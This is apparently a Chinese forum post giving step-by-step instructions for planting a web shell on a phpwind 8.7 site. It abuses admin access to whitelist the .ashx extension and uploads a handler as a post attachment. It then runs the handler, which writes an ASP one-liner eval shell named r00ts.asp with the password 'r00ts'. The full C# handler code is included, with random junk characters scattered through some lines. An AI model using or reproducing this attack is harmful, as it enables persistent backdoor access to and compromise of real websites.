phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
0 v0 j5 c& @6 {2 K+ ?9 A! d# R' M4 r
* i1 X4 v$ s* _群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
4 D) h; f/ q# O3 o  F. u& }, M! e
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

) k" {- ^8 H7 J下面是代码:

<%@ WebHandler Language="C#"Class="Handler" %>
using System;
0 A, ], `) Q$ a/ i8 l) N7 busing System.Web;
8 K  M$ r4 Q  S: Vusing System.IO;
( q2 l: P. C- }% M4 h# @# dpublic class Handler : IHttpHandler {
2 I* j7 m1 k4 r" J! vpublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
. d' P+ P3 A! u8 j- b" B4 L5 |1 X' Vfile1.Flush();
6 M# e0 n! q( R5 h1 tfile1.Close();
& Q3 N& F5 P* y  T2 t% b}
public bool IsReusable {
get {
: S. _4 U0 T% F& q1 p4 Areturn false;
5 l/ d' a+ b: x; c5 K9 J  \& _/ X}
}
- v* M0 Q5 _& K+ F. {1 Q}
. r- c' D# Z- v$ M3 x